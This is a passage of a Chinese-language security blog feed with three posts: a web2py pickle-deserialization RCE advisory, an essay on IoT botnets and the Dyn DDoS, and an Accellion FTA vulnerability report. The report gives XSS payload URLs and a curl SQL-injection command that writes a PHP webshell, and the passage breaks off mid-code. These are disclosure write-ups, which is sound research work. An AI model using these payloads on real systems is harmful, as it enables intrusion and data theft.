class="o">=</span><span class="s">'yoursecret'</span><span class="p">)</span></code></pre></figure> <p>因此,web2py 的使用者如果沒有手動關閉範例應用程式,攻擊者就可以直接在 http://[target]/examples/ 頁面發動攻擊取得主機操作權。</p> <h4 id="proof-of-concept">Proof of Concept</h4> <p>我們嘗試用 <code class="language-plaintext highlighter-rouge">yoursecret</code> 作為 encryption_key 偽造一個合法的 session cookie,並將一個會執行系統指令 sleep 的物件塞入其中。帶著此 session cookie 連入 web2py 官網範例應用程式(http://www.web2py.com/examples),情形如下:</p> <p>當插入的物件會執行指令 sleep 3 時,網站回應時間為 6.8 秒</p> <p><img src="/assets/img/blog/20170103/POC1.png" alt="POC1" /></p> <p>當插入的物件會執行指令 sleep 5 時,網站回應時間為 10.8 秒</p> <p><img src="/assets/img/blog/20170103/POC2.png" alt="POC2" /></p> <p>確實會因為塞入的 session cookie 值不同而有所延遲,證明網站的確執行了(兩次)我們偽造的物件內容。<sup id="fnref:note2" role="doc-noteref"><a href="#fn:note2" class="footnote" rel="footnote">2</a></sup></p> <h3 id="其他洩漏導致-rce">其他洩漏導致 RCE</h3> <p>此外,在 web2py 範例應用程式為了示範框架的特性,因此洩漏了許多環境變數。其中有兩個變數較為敏感,間接也會導致端命令執行,分別如下。</p> <h4 id="cve-2016-3954">CVE-2016-3954</h4> <p>在 http://[target]/examples/simple_examples/status 頁面中,response 分頁內容洩漏了 session_cookie_key 值。這個值就是用來加密前面所介紹的 session cookie,搭配 CVE-2016-3957 Pickle 的問題可直接遠端命令執行。</p> <p><img src="/assets/img/blog/20170103/CVE-2016-3954.png" alt="CVE-2016-3954" /></p> <p>無論使用者是否自行更改 session_cookie_key,或是該值是系統隨機產生。此介面仍然可以取得機敏資訊藉以造成危害。</p> <h4 id="cve-2016-3952">CVE-2016-3952</h4> <p>http://[target]/examples/template_examples/beautify 頁面洩漏了系統環境變數,當使用者是使用 standalone 版本時,管理者的密碼就會在環境變數裡出現。這個密碼可登入 http://[target]/admin 管理介面,管理介面內提供方便的功能得以執行任意指令。</p> <p><img src="/assets/img/blog/20170103/CVE-2016-3952.png" alt="CVE-2016-3952" /></p> <h3 id="官方修復">官方修復</h3> <p>Version 2.14.1 移除洩漏的環境變數。[<a href="https://github.com/web2py/web2py/commit/9706d125b42481178d2b423de245f5d2faadbf40">Ref</a>]</p> <p>Version 2.14.2 使用不固定字串作為 session_cookie_key,並移除洩漏頁面。</p> <div class="highlight-name">applications/examples/models/session.py</div> <figure class="highlight"><pre><code class="language-py" data-lang="py"><span class="kn">from</span> <span class="nn">gluon.utils</span> <span class="kn">import</span> <span class="n">web2py_uuid</span> <span class="n">cookie_key</span> <span class="o">=</span> <span class="n">cache</span><span class="p">.</span><span class="n">ram</span><span class="p">(</span><span class="s">'cookie_key'</span><span class="p">,</span><span class="k">lambda</span><span class="p">:</span> <span class="n">web2py_uuid</span><span class="p">(),</span><span class="bp">None</span><span class="p">)</span> <span class="n">session</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="n">request</span><span class="p">,</span><span class="n">response</span><span class="p">,</span><span class="n">cookie_key</span><span class="o">=</span><span class="n">cookie_key</span><span class="p">)</span></code></pre></figure> <h3 id="總結">總結</h3> <p>web2py 框架預設會開啟一個範例應用程式,路徑為 http://[target]/examples/。<br /> 由於這個應用程式使用 Pickle 來處理序列化的 session cookie,且因為加密字串為寫死的 <code class="language-plaintext highlighter-rouge">yoursecret</code>,任何人可竄改 session cookie 的內容,藉此進行 Pickle 命令執行攻擊。<br /> 該範例程式介面中也存在 session_cookie_key、管理者密碼洩漏問題,兩個都會導致任意命令執行。除此之外,在這個應用程式中洩漏許多系統配置、路徑等資訊,有機會被拿來做進階攻擊。<br /> 在 2.14.2 版本後已經修復所有洩漏問題,當然最好的解決辦法就是關閉這個範例應用程式。</p> <p>最後,來整理從開發者的角度在這個案例中該注意的要點:</p> <ol> <li>小心處理序列化字串,使用者若有機會改變該字串值,有機會被插入未預期的惡意物件,造成惡意的結果。</li> <li>正式產品中切記要移除任何跟開發相關的配置。</li> </ol> <h3 id="時間軸">時間軸</h3> <ul> <li>2016/03/08 發現問題與其他研究</li> <li>2016/03/09 回報官方 <a href="https://github.com/web2py/web2py/issues/1205">GitHub Issue</a></li> <li>2016/03/15 成功與開發者 email 聯繫</li> <li>2016/03/15 官方修復管理者密碼洩漏問題 (CVE-2016-3952)</li> <li>2016/03/25 官方修復其他弱點並發佈 2.14.2 版本</li> </ul> <h3 id="附註">附註</h3> <div class="footnotes" role="doc-endnotes"> <ol> <li id="fn:note1" role="doc-endnote"> <p>其實 CVE-2016-3957 並非不安全的設計,在跟 CVE team 溝通的過程中發現 web2py 開始使用 JSON 取代 Pickle [<a href="https://github.com/web2py/web2py/commit/0820926b500a321060ef6a76ce89fd35a252f8b0">Ref</a>],因此判定 web2py 認為目前的設計是不洽當的,給予此編號。後來官方因故將 Pickle 改了回來,不過在沒有洩漏加密字串的前提下已經是安全的了。 <a href="#fnref:note1" class="reversefootnote" role="doc-backlink">&#8617;</a></p> </li> <li id="fn:note2" role="doc-endnote"> <p>在自行架設的 web2py 環境中只會執行一次,沒有去細追 web2py 官方網站為何執行兩次。 <a href="#fnref:note2" class="reversefootnote" role="doc-backlink">&#8617;</a></p> </li> </ol> </div> https://devco.re/blog/2017/01/03/web2py-unserialize-code-execution-CVE-2016-3957/ https://devco.re/blog/2017/01/03/web2py-unserialize-code-execution-CVE-2016-3957 Tue, 03 Jan 2017 00:00:00 +0800 IoT設備商別成為幫兇 從Dyn DDoS攻擊事件看IoT安全 <h3 id="萬物皆聯網成為萬物皆可駭">萬物皆聯網成為萬物皆可駭</h3> <p>2016年10月21日知名網路服務 Dyn 遭受殭屍網路發動三波巨大規模 DDoS 攻擊,世界各大網站服務皆因為此攻擊而中斷,包括 Amazon、Twitter、Github、PayPal 等大型網站都因此受到影響。資安人員研究發現,本次 DDoS 攻擊的發起者未明,但多數攻擊流量來自殭屍網路「Mirai」,利用 IPCAM、CCTV、DVR、IoT 裝置等系統進行 DDoS 攻擊。為什麼這些設備會成為攻擊的幫凶呢?我們又該如何自保呢?</p> <!-- more --> <p>一個攻擊事件,一定有背後的原因。攻擊者一定是有所求,才會進行攻擊,可能是求名、求利或求樂趣。因為 DDoS 攻擊會直接影響目標系統的運作,對系統營運造成影響,在黑色產業的循環中通常會利用這種攻擊來勒索錢財。例如針對營運線上遊戲的公司進行 DDoS 攻擊,讓遊戲服務中斷,逼迫企業將主機的連線花錢「贖」回來。但 Dyn 這次的事件各家都沒有收到類似的勒索信,因此資安專家們推測,這可能是一次練兵,或者甚至是 DDoS 攻擊服務的行銷手法。如果我們用黑色產業的角度去思考一個攻擊行為,就會有截然不同的看法。試想,如果這是一次駭客組織的商業行銷行為,目的是展現這個團隊的 DDoS 攻擊火力,這樣的成果是否可以稱作是一個成功案例呢?如果你是服務購買者,是否對這樣的服務有信心呢?</p> <p>利用 IoT 裝置及網通設備佈建殭屍網路 (botnet) 已經不是新聞。Internet Census 2012 是一次資安圈的大事件,一個稱為 Carna 的 botnet 利用了全世界 42 萬台裝置,掃描全世界整個 IPv4 設備,蒐集 IP 使用狀況、連接埠、服務標頭等資訊,並且提供共計 9TB 資料開放下載研究。而這個 botnet 多數利用路由器 (router) 的漏洞,利用預設密碼、空密碼登入設備,植入後門供攻擊者控制。而後的幾次大型攻擊事件都與 IoT 及嵌入式裝置有關係,讓 IoT 的口號「萬物皆聯網」成為「萬物皆可駭」,也讓資安研究人員對於研究這類型設備趨之若鶩。近年智慧車輛不斷發展,國際間也不少智慧車輛被駭的事件。車輛被駭影響的就不單是資訊系統,更會波及人身安全甚至整個城市的交通,資安考量的影響也遠比以前嚴重。</p> <h3 id="連網裝置成為駭客下手的主要原因">連網裝置成為駭客下手的主要原因</h3> <p>究竟是怎樣的安全漏洞讓攻擊者這麼輕易利用呢?目前攻擊者及 botnet 多數利用的還是使用預設密碼、或甚至是沒有設定密碼的裝置。網站 <a href="https://www.insecam.org">Insecam</a> 揭露了全世界數萬支未修改密碼的攝影機,再再顯示不少民眾或公司行號購買了監視器,卻沒有健全的資安意識,讓監視器暴露於全世界之中。更多攝影機、監視器等的資安議題可以參考我們的文章<a href="http://devco.re/blog/2014/09/24/security-of-ip-camera-and-nvr/">「網路攝影機、DVR、NVR 的資安議題 - 你知道我在看你嗎?」</a>。除了預設密碼之外,設備中的後門也是一個大問題。不少路由器、無線基地台廠商被爆出系統中含有測試用的登入帳號,該帳號無法關閉、無法移除,且容易被攻擊者進行研究取得。除了等待廠商升級韌體來修補該問題之外,沒有其他解法,因此成為攻擊者大量取得控制權的方式之一。</p> <p>IoT 裝置為什麼會成為攻擊者下手的目標呢?我們可以分成幾點來探討。</p> <p>第一,嵌入式裝置以往的設計都是不連網,IoT 的風潮興起之後,各廠商也為了搶市場先機,加速推出產品,將原本的產品加上網路功能,甚至 App 控制功能。而求快的結果就是犧牲資安考量,加上廠商可能原本並非網路專長,也沒有足夠的資安人員檢視安全性,導致設計出來的產品資安漏洞層出不窮。產品的設計必須嚴守 Security by Design 的原則,在開發初期的每個環節都納入資安考量,並且遵守 Secure Coding 規範,避免在產品後期疊床架屋,造成要釐清資安問題的根源更難如登天。</p> <p>第二,產品的更新機制問題。IoT 裝置的更新機制在早期並沒有謹慎考量,需要使用者自行下載韌體更新,甚至有些裝置必須回廠才能進行更新。不少使用者只要產品沒有出問題,並不會主動進行韌體更新,甚至覺得更新只會造成更多問題。在沒有便利更新機制的情況之下,設備的資安問題更難以被妥善處理。近期因為資安事件頻傳,FOTA (Firmware Over-The-Air) 機制才逐漸被重視,但其他資安問題也隨即而來。如何確保韌體的完整性?如何防止攻擊者下載韌體進行研究修改?這些都是廠商需要不斷去反覆思量的。</p> <p>第三,敵暗我明,也是我們認為最重要的一點。我們認為資安就是攻擊者與防禦者的一場資訊不對稱戰爭,防禦者(廠商)通常只會憑藉著自己的知識跟想像進行防禦,但卻不知道攻擊者的思維跟手法。就像春秋時代公輸般,建造雲梯協助楚國攻擊宋國的城池。唯有了解攻擊者,化解這個不對稱的資訊,才能有效的進行防禦,如同墨子了解雲梯的攻擊方式,模擬各種對應防禦的手法,才成功讓楚王放棄攻擊。不僅是 IoT 廠商,所有企業都必須了解攻擊者的思維、手法,知曉這個黑色產業的運作,甚至針對攻擊的方式進行模擬演練,將每一個防禦的缺口補足,才可以正面迎戰攻擊者。</p> <h3 id="設備商避免成為幫凶消費者也應自保">設備商避免成為幫凶,消費者也應自保</h3> <p>身為使用者,我們該如何確認自己的設備有沒有被感染呢?若被感染該怎麼有效清除呢?建議先搜尋網路上目前已公開有漏洞的廠牌及型號,若在問題清單之內,先將整台設備備份設定後,回復原廠初始設定,以確保攻擊者放置的惡意程式都被清除。接著更新廠商所釋出的新版韌體,並記得在更新安裝完畢後立即更換密碼以防二度被入侵。若廠商無釋出更新,可能是資安不被重視,也可能是廠商已經結束營運。如果還是選擇要使用這個設備,建議將設備轉放在內部網路,或者是在前面增加防禦設備,避免攻擊者入侵。</p> <p>至於廠商該怎麼跟上資安的腳步呢?我們認為目前廠商最重要的就是資安意識。這已經是老生常談,以往網路產業逐漸重視資安,但跨入網路的其他資訊產業恐怕還沒意識到資安的嚴重性。凡舉傳統家電轉為智慧家電、車輛轉為智慧車輛、甚至基礎建設也逐漸資訊化的現在,若這些踏入網路的產業沒有相對應的資安意識,恐怕很難在初期就預防風險的發生。企業也必須盤點風險的所在,透過人工滲透測試模擬攻擊者的攻擊思維及路徑,如同軍事演習一般,將入侵的途徑一一封鎖。我們認為 IoT 等嵌入式裝置、智慧家電、甚至網通資安設備本身,未來都會是駭客組織攻擊的對象,利用更新的困難度跟管理者的疏於管理,建置一個個大規模殭屍大軍,成為未來戰爭的棋子。我們期許未來廠商建構產品時,都能優先納入資安考量,不成為黑色產業的幫凶,也讓國際認可台灣產品是資安至上的優良品質。</p> https://devco.re/blog/2016/12/26/a-look-into-the-growth-of-IoT-DDoS-attacks/ https://devco.re/blog/2016/12/26/a-look-into-the-growth-of-IoT-DDoS-attacks Mon, 26 Dec 2016 00:00:00 +0800 Accellion File Transfer Appliance 弱點報告 <p>By <a href="http://blog.orange.tw/">Orange Tsai</a></p> <p><a href="/blog/2016/09/22/advisory-accellion-file-transfer-appliance-vulnerability-eng-ver/">English Version</a> <br /> <a href="/blog/2016/09/22/advisory-accellion-file-transfer-appliance-vulnerability/">中文版本</a></p> <hr /> <h3 id="accellion-fta-介紹">Accellion FTA 介紹</h3> <p><br /> Accellion File Transfer Appliance (以下簡稱 FTA) 為一款安全檔案傳輸服務,可讓使用者線上分享、同步檔案,且所有檔案皆經 AES 128/256 加密,Enterprise 版本更支援 SSL VPN 服務並整合 AD, LDAP, Kerberos 等 Single Sign-on 機制。 <br /></p> <!-- more --> <h3 id="漏洞描述">漏洞描述</h3> <p><br /> 在研究過程中,於 FTA 版本 FTA_9_12_0 (13-Oct-2015 Release) 上,發現了下列弱點:</p> <ul> <li>Cross-Site Scripting x 3</li> <li>Pre-Auth SQL Injection leads to Remote Code Execution</li> <li>Known-Secret-Key leads to Remote Code Execution</li> <li>Local Privilege Escalation x 2</li> </ul> <p>以上弱點可使不需經過認證的攻擊者,成功遠端攻擊 FTA 伺服器並取得最高權限,當攻擊者完全控制伺服器後,可取得伺服器上的加密檔案與用戶資料等。</p> <p>弱點經回報 CERT/CC 後取得共四個獨立 CVE 編號 (CVE-2016-2350, CVE-2016-2351, CVE-2016-2352, CVE-2016-2353)。 <br /></p> <h3 id="影響範圍">影響範圍</h3> <p><br /> 根據公開資料掃描,全球共發現 1217 台 FTA 存活主機,主要分布地點為美國,其次加拿大、澳洲、英國與新加坡。根據存活主機的域名、SSL Certificate 發現 FTA 使用客戶遍及政府、教育、企業等領域,其中不乏一些知名品牌。 <br /></p> <h3 id="漏洞分析與利用">漏洞分析與利用</h3> <p><br /></p> <h4 id="multiple-cross-site-scripting-cve-2016-2350">Multiple Cross-Site Scripting (CVE-2016-2350)</h4> <h5 id="1-xss-in-move_partition_framehtml">1. XSS in move_partition_frame.html</h5> <blockquote> <p>https://&lt;fta&gt;/courier/move_partition_frame.html<br /> ?f2=’-prompt(document.domain);//</p> </blockquote> <h5 id="2-xss-in-getimageajaxphp">2. XSS in getimageajax.php</h5> <blockquote> <p>https://&lt;fta&gt;/courier/web/getimageajax.php<br /> ?documentname=”onerror=”prompt(document.domain)//</p> </blockquote> <h5 id="3-xss-in-wminfohtml">3. XSS in wmInfo.html</h5> <blockquote> <p>https://&lt;fta&gt;/courier/web/wmInfo.html<br /> ?msg=ssologout<br /> &amp;loginurl=”&gt;&lt;svg/onload=”prompt(document.domain)</p> </blockquote> <p><br /></p> <h4 id="pre-auth-sql-injection-leads-to-rce-cve-2016-2351">Pre-Auth SQL Injection leads to RCE (CVE-2016-2351)</h4> <p>經過代碼審查後,在 FTA 中發現一個不須驗證的 SQL Injection,這使得惡意使用者可透過 SQL Injection 存取伺服器的敏感檔案及個人資料,並配合權限設定問題導致遠端代碼執行。問題出在 security_key2.api 中所呼叫到的 <code class="language-plaintext highlighter-rouge">client_properties( ... )</code> 函數中!</p> <div class="highlight-name">/home/seos/courier/security_key2.api</div> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="c1">// ...</span> <span class="nv">$password</span> <span class="o">=</span> <span class="nf">_decrypt</span><span class="p">(</span> <span class="nv">$password</span><span class="p">,</span> <span class="nf">_generate_key</span><span class="p">(</span> <span class="nv">$g_app_id</span><span class="p">,</span> <span class="nv">$client_id</span><span class="p">,</span> <span class="nv">$g_username</span> <span class="p">)</span> <span class="p">);</span> <span class="nf">opendb</span><span class="p">();</span> <span class="nv">$client_info</span> <span class="o">=</span> <span class="nf">client_properties</span><span class="p">(</span> <span class="nv">$client_id</span> <span class="p">)[</span><span class="mi">0</span><span class="p">];</span> <span class="c1">// ...</span></code></pre></figure> <p>其中 <code class="language-plaintext highlighter-rouge">$g_app_id</code> <code class="language-plaintext highlighter-rouge">$g_username</code> <code class="language-plaintext highlighter-rouge">$client_id</code> <code class="language-plaintext highlighter-rouge">$password</code> 皆為攻擊者可控參數,雖然有個 <code class="language-plaintext highlighter-rouge">_decrypt( ... )</code> 函數對密碼進行處理,但是與弱點觸發並無相關。其中要注意是 <code class="language-plaintext highlighter-rouge">$g_app_id</code> 的值會被代入成全域變數,代表當前使用的 Application ID,並且在 <code class="language-plaintext highlighter-rouge">opendb( )</code> 使用,其中在 <code class="language-plaintext highlighter-rouge">opendb( )</code> 內有以下代碼:</p> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="nv">$db</span> <span class="o">=</span> <span class="no">DB_MASTER</span> <span class="mf">.</span> <span class="nv">$g_app_id</span><span class="p">;</span> <span class="k">if</span><span class="p">(</span><span class="o">!@</span><span class="nb">mysql_select_db</span><span class="p">(</span> <span class="nv">$db</span> <span class="p">))</span></code></pre></figure> <p><code class="language-plaintext highlighter-rouge">mysql_select_db</code> 中所開啟資料庫的名稱由使用者可控,如給錯誤的值將導致程式無法繼續執行下去,所以必須將 <code class="language-plaintext highlighter-rouge">$g_app_id</code> 偽造成正確的內容。</p> <p>接著是最主要的函數 <code class="language-plaintext highlighter-rouge">client_properties( $client_id )</code></p> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="k">function</span> <span class="n">client_properties</span><span class="p">(</span><span class="nv">$client_id</span> <span class="o">=</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$user</span> <span class="o">=</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$manager</span> <span class="o">=</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$client_type</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="nv">$client_name</span> <span class="o">=</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$order_by</span> <span class="o">=</span> <span class="s1">'client_id'</span><span class="p">,</span> <span class="nv">$order_type</span> <span class="o">=</span> <span class="s1">'a'</span><span class="p">,</span> <span class="nv">$limit</span> <span class="o">=</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$offset</span> <span class="o">=</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$exclude_del</span> <span class="o">=</span> <span class="mi">1</span><span class="p">,</span> <span class="nv">$user_type</span> <span class="o">=</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$user_status</span> <span class="o">=</span> <span class="s1">''</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$sql</span> <span class="o">=</span> <span class="p">(</span><span class="nv">$user_type</span> <span class="o">=</span> <span class="s1">''</span> <span class="o">?</span> <span class="s1">'SELECT t_mail_server.* FROM t_mail_server '</span> <span class="o">:</span> <span class="s1">'SELECT t_mail_server.*, t_profile.c_flag as profile_flag FROM t_mail_server, t_profile '</span><span class="p">);</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'client_id'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$client_id</span><span class="p">;</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'client_name'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$client_name</span><span class="p">;</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'client_type'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$client_type</span><span class="p">;</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'user'</span><span class="p">]</span> <span class="o">=</span> <span class="nf">mysql_escape_like</span><span class="p">(</span> <span class="nv">$user</span> <span class="p">);</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'user_type'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$user_type</span><span class="p">;</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'manager'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$manager</span><span class="p">;</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'user_status'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$user_status</span><span class="p">;</span> <span class="nv">$sql</span> <span class="o">&amp;=</span> <span class="nf">construct_where_clause</span><span class="p">(</span> <span class="nv">$filter</span><span class="p">,</span> <span class="nv">$exclude_del</span> <span class="p">);</span> <span class="c1">// ...</span> <span class="nv">$result</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span> <span class="p">);</span> <span class="o">@</span><span class="nb">mysql_query</span><span class="p">(</span> <span class="nv">$sql</span> <span class="p">);</span> <span class="p">(</span> <span class="nv">$db_result</span> <span class="o">=</span> <span class="o">||</span> <span class="nf">fatal_error</span><span class="p">(</span> <span class="s1">'exec:mysql_query('</span> <span class="mf">.</span> <span class="nv">$sql</span> <span class="mf">.</span> <span class="s1">') respond:'</span> <span class="mf">.</span> <span class="nb">mysql_error</span><span class="p">(</span> <span class="p">),</span> <span class="k">__FILE__</span><span class="p">,</span> <span class="mi">221</span> <span class="p">)</span> <span class="p">);</span></code></pre></figure> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="k">function</span> <span class="n">construct_where_clause</span><span class="p">(</span><span class="nv">$filter</span><span class="p">,</span> <span class="nv">$exclude_del</span> <span class="o">=</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$where_clause</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span> <span class="p">);</span> <span class="nv">$where_clause</span><span class="p">[]</span> <span class="o">=</span> <span class="s1">'c_server_id != \'999\''</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$exclude_del</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$where_clause</span><span class="p">[]</span> <span class="o">=</span> <span class="s1">'!(t_mail_server.c_flag &amp; '</span> <span class="mf">.</span> <span class="no">CLIENT_DELETED</span> <span class="mf">.</span> <span class="s1">')'</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$filter</span><span class="p">[</span><span class="s1">'client_id'</span><span class="p">]</span> <span class="o">!=</span> <span class="s1">''</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$where_clause</span><span class="p">[]</span> <span class="o">=</span> <span class="s1">'c_server_id = \''</span> <span class="mf">.</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'client_id'</span><span class="p">]</span> <span class="mf">.</span> <span class="s1">'\''</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$filter</span><span class="p">[</span><span class="s1">'manager'</span><span class="p">]</span> <span class="o">!=</span> <span class="s1">''</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'manager'</span><span class="p">]</span> <span class="o">=</span> <span class="nb">mysql_real_escape_string</span><span class="p">(</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'manager'</span><span class="p">]</span> <span class="p">);</span> <span class="nv">$where_clause</span><span class="p">[]</span> <span class="o">=</span> <span class="s1">'c_manager = \''</span> <span class="mf">.</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'manager'</span><span class="p">]</span> <span class="mf">.</span> <span class="s1">'\''</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$filter</span><span class="p">[</span><span class="s1">'client_name'</span><span class="p">]</span> <span class="o">!=</span> <span class="s1">''</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'client_name'</span><span class="p">]</span> <span class="o">=</span> <span class="nb">mysql_real_escape_string</span><span class="p">(</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'client_name'</span><span class="p">]</span> <span class="p">);</span> <span class="nv">$where_clause</span><span class="p">[]</span> <span class="o">=</span> <span class="s1">'t_mail_server.c_name LIKE \'%'</span> <span class="mf">.</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'client_name'</span><span class="p">]</span> <span class="mf">.</span> <span class="s1">'%\''</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">((</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'user'</span><span class="p">]</span> <span class="o">!=</span> <span class="s1">''</span> <span class="o">&amp;&amp;</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'user'</span><span class="p">]</span> <span class="o">!=</span> <span class="s1">'%%'</span> <span class="p">))</span> <span class="p">{</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'user'</span><span class="p">]</span> <span class="o">=</span> <span class="nb">mysql_real_escape_string</span><span class="p">(</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'user'</span><span class="p">]</span> <span class="p">);</span> <span class="nv">$where_clause</span><span class="p">[]</span> <span class="o">=</span> <span class="s1">'t_mail_server.c_user_id LIKE \''</span> <span class="mf">.</span> <span class="nv">$filter</span><span class="p">[</span><span class="s1">'user'</span><span class="p">]</span> <span class="mf">.</span> <span class="s1">'\''</span><span class="p">;</span> <span class="p">}</span></code></pre></figure> <p><code class="language-plaintext highlighter-rouge">client_properties( ... )</code> 中會將所傳進的參數進行 SQL 語句的拼裝,而 <code class="language-plaintext highlighter-rouge">construct_where_clause( ... )</code> 為最關鍵的一個函數。 在 <code class="language-plaintext highlighter-rouge">construct_where_clause( ... )</code> 中可以看到參數皆使用 <code class="language-plaintext highlighter-rouge">mysql_real_escape_string</code> 來防禦但唯獨缺少 <code class="language-plaintext highlighter-rouge">$client_id</code>,從原始碼的 Coding Style 觀察猜測應該是開發時的疏忽,因此根據程式流程送出對應的參數即可觸發 SQL Injection。</p> <p>此外,在 FTA 中資料庫使用者為 root 具有 FILE_PRIV 權限,因此可使用 <code class="language-plaintext highlighter-rouge">INTO OUTFILE</code> 撰寫自己 PHP 代碼至可寫目錄達成遠端代碼執行!</p> <p><strong>PoC</strong></p> <figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>curl https://&lt;fta&gt;/courier/1000@/security_key2.api <span class="nt">-d</span> <span class="s2">"aid=1000&amp;user_id=1&amp;password=1&amp;client_id=' OR 1=1 LIMIT 1 INTO OUTFILE '/home/seos/courier/themes/templates/.cc.php' LINES TERMINATED BY 0x3c3f...#"</span></code></pre></figure> <p>生成的 PHP 檔案位置在</p> <blockquote> <p>http://&lt;fta&gt;/courier/themes/templates/.cc.php</p> </blockquote> <p><br /></p> <h4 id="known-secret-key-leads-to-remote-code-execution">Known Secret-Key leads to Remote Code Execution</h4> <p>在前個弱點中,要達成遠端代碼執行還有一個條件是要存在可寫目錄,但現實中有機率找不到可寫的目錄放置 Webshell,因此無法從 SQL Injection 達成代碼執行,不過這時有另外一條路可以幫助我們達成遠端代碼執行。</p> <p>這個弱點的前提條件是 <strong>已知資料庫中所存的加密 KEY</strong></p> <p>這點對我們來說不是問題,從前面的 SQL Injection 弱點可任意讀取資料庫內容,另外雖然在程式碼中有對參數進行一些過濾,但那些過濾是可以繞過的!</p> <div class="highlight-name">/home/seos/courier/sfUtils.api</div> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="nv">$func_call</span> <span class="o">=</span> <span class="nf">decrypt</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'fc'</span><span class="p">]</span> <span class="p">);</span> <span class="nv">$orig_func</span> <span class="o">=</span> <span class="s1">''</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span> <span class="s1">'/(.+)\(.*\)/'</span><span class="p">,</span> <span class="nv">$func_call</span><span class="p">,</span> <span class="nv">$func_match</span> <span class="p">))</span> <span class="p">{</span> <span class="nv">$orig_func</span> <span class="o">=</span> <span class="nv">$func_call</span><span class="p">;</span> <span class="nv">$func_call</span> <span class="o">=</span> <span class="nv">$func_match</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span> <span class="p">}</span> <span class="nv">$cs_method</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span> <span class="s1">'delete_session_cache'</span><span class="p">,</span> <span class="s1">'delete_user_contact'</span><span class="p">,</span> <span class="s1">'valid_password'</span><span class="p">,</span> <span class="s1">'user_password_update_disallowed'</span><span class="p">,</span> <span class="s1">'user_password_format_disallowed'</span><span class="p">,</span> <span class="s1">'get_user_contact_list'</span><span class="p">,</span> <span class="s1">'user_email_verified'</span><span class="p">,</span> <span class="s1">'user_exist_allow_direct_download'</span><span class="p">,</span> <span class="s1">'user_profile_auth'</span> <span class="p">);</span> <span class="k">if</span> <span class="p">((</span> <span class="o">!</span><span class="nv">$func_call</span> <span class="o">||</span> <span class="o">!</span><span class="nb">in_array</span><span class="p">(</span> <span class="nv">$func_call</span><span class="p">,</span> <span class="nv">$cs_method</span> <span class="p">)</span> <span class="p">))</span> <span class="p">{</span> <span class="k">return</span> <span class="kc">false</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$orig_func</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$func_call</span> <span class="o">=</span> <span class="nv">$orig_func</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$func_call</span> <span class="o">==</span> <span class="s1">'get_user_contact_list'</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$_csinfo</span><span class="p">[</span><span class="s1">'user_id'</span><span class="p">])</span> <span class="p">{</span> <span class="k">return</span> <span class="kc">false</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span> <span class="s1">'/[\\\/"\*\:\?\&lt;\&gt;\|&amp;]/'</span><span class="p">,</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'name'</span><span class="p">]</span> <span class="p">))</span> <span class="p">{</span> <span class="k">return</span> <span class="kc">false</span><span class="p">;</span> <span class="p">}</span> <span class="nv">$func_call</span> <span class="o">=</span> <span 